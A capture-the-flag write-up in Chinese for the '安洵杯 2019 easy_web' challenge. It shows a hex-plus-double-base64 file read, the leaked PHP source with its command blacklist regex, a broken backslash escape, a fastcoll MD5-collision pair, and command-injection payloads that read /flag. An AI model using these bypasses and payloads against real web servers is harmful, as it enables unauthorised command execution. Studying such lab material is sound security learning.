[安洵杯 2019]easy_web
打开题目抓包分析:
发现图片是通过base64编码进行输出的 看了大佬的wp img=TXpVek5UTTFNbVUzTURabE5qYz0
即文件名是先进行十六进制编码在进行两次base64编码 解码查看原文件名
第一次:base64
第二次: base64 得到hex编码数
第三次:在进行十六进制解码
那么我们可以这种方式进行构造查看index.php
爆出源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } }
?>
|
代码分析:
get方式传入cmd 但是要进行一个正则匹配
再通过 post方式传a与b 要求a与b不相等 但是md5加密后相等
先来看正则匹配
河蟹了一些常用的linux命令和一些字符 这里重点来看一下反斜杠的屏蔽 其实这道题这里匹配反斜杠出现问题了
本地测试:
1 2 3 4 5 6 7
| <?php $cmd="\\"; var_dump($cmd); if (preg_match('/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i', $cmd)){ echo "yes"; } ?>
|
|\\|\\\\|
这里两个反斜杠的第二个反斜杠转义了第二个|
使得这一块出现了错误
最终这里就是匹配 \|\\\\
这一块 因此可以用反斜杠
本地测试:
1 2 3 4 5 6 7
| <?php $cmd="\|\\\\"; var_dump($cmd); if (preg_match('/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i', $cmd)){ echo "yes"; } ?>
|
但是如果我们想匹配一个\
那么我们在编写正则的时候就需要\\\
来达到匹配一个\
的效果
1 2 3 4 5 6 7
| <?php $cmd="\\"; var_dump($cmd); if (preg_match('/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i', $cmd)){ echo "yes"; } ?>
|
接着来看第二部分md5强相等
一开始我是想通过数组方式绕过 但是这道题在post a和b值后对他们进行了强制转换为字符串类型 因此不能用数组绕过了
只能用一个脚本进行md5碰撞 使得两个字符的md5值强相等
只能借助fastcoll这个工具 具体参考:https://blog.csdn.net/shuaicenglou3032/article/details/118197904?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167785642816800213071097%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=167785642816800213071097&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-118197904-null-null.142^v73^insert_down3,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=fastcoll&spm=1018.2226.3001.4187 这篇文章
注意最后生成的结果是通过url编码后的 如果不进行url编码 那么结果会出现乱码 本地测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $a = "fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00NkutV%9B%EE%A4%86%BA%840%5B%E0%14%F4%5B%22-%E8%07l%DA%A1%26%06%3BqK%10%92%2B%08%FE%C9%C4H%94%3F%F2k%CE%C0%1A%87K%DE_%8A7%EA%94%C7%3B%B4%2A%83%D0%3Fl%B3%25%F6%E5%F6%B2%11%E0%21%CFA%8EM%7E%CB%C5%2C%17%E6%0A%B97%09%87P%5B%121%09%B3%00%C0%2B%60h%B8%D3%DD+D%9F%C3%A24tBFS%1Al%EDP%2C%D5%18Q9%EB%B6%89ZW%F4%E5iOa%B0"; $b = "fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00NkutV%9B%EE%A4%86%BA%840%5B%E0%14%F4%5B%22-h%07l%DA%A1%26%06%3BqK%10%92%2B%08%FE%C9%C4H%94%3F%F2k%CE%C0%1A%87%CB%DE_%8A7%EA%94%C7%3B%B4%2A%83%D0%3F%EC%B3%25%F6%E5%F6%B2%11%E0%21%CFA%8EM%7E%CB%C5%2C%17%E6%0A%B97%09%07P%5B%121%09%B3%00%C0%2B%60h%B8%D3%DD+D%9F%C3%A24tBFS%1A%EC%ECP%2C%D5%18Q9%EB%B6%89ZW%F4eiOa%B0"; echo urldecode($a); echo "\n"; echo urldecode($b); echo "\n"; echo "--------------------------------------------------"; echo "\n"; if(md5(urldecode($a))===md5(urldecode($b))){ echo "yes"; } else{ echo "no"; } ?>
|
因为我们提交的内容会被浏览器默认url解码一次 所以结果都是一样的
但是我们查读文件所需的 ls cat
都被正则匹配了这里应该怎么绕过呢
第一种方式:
可以用dir
来代替ls
进行浏览文件
作用和ls
一样
sort
代替cat
进行读文件
注意这里抓包payload的时候要将提交方式改为post 第一次做一直都是get传参一直没做出来 之后才发现要将bp的传参方式改为post 空格用url编码方式%20
细节很重要
构造payload:?cmd=dir%20/
post:a=fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00NkutV%9B%EE%A4%86%BA%840%5B%E0%14%F4%5B%22-%E8%07l%DA%A1%26%06%3BqK%10%92%2B%08%FE%C9%C4H%94%3F%F2k%CE%C0%1A%87K%DE_%8A7%EA%94%C7%3B%B4%2A%83%D0%3Fl%B3%25%F6%E5%F6%B2%11%E0%21%CFA%8EM%7E%CB%C5%2C%17%E6%0A%B97%09%87P%5B%121%09%B3%00%C0%2B%60h%B8%D3%DD+D%9F%C3%A24tBFS%1Al%EDP%2C%D5%18Q9%EB%B6%89ZW%F4%E5iOa%B0&b=fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00NkutV%9B%EE%A4%86%BA%840%5B%E0%14%F4%5B%22-h%07l%DA%A1%26%06%3BqK%10%92%2B%08%FE%C9%C4H%94%3F%F2k%CE%C0%1A%87%CB%DE_%8A7%EA%94%C7%3B%B4%2A%83%D0%3F%EC%B3%25%F6%E5%F6%B2%11%E0%21%CFA%8EM%7E%CB%C5%2C%17%E6%0A%B97%09%07P%5B%121%09%B3%00%C0%2B%60h%B8%D3%DD+D%9F%C3%A24tBFS%1A%EC%ECP%2C%D5%18Q9%EB%B6%89ZW%F4eiOa%B0
构造payload:?cmd=sort%20/flag
第二种方式 之前说正则匹配没有过滤反斜杠
反斜杠在linux命令中也是起着转义的意义 那么在字母前加\
就等于没加 \n
这种特殊情况除外
那么就可以在命令中添加反斜杠进行绕过正则匹配
构造payload:?cmd=l\s%20/
再构造:?cmd=ca\t%20/flag
成功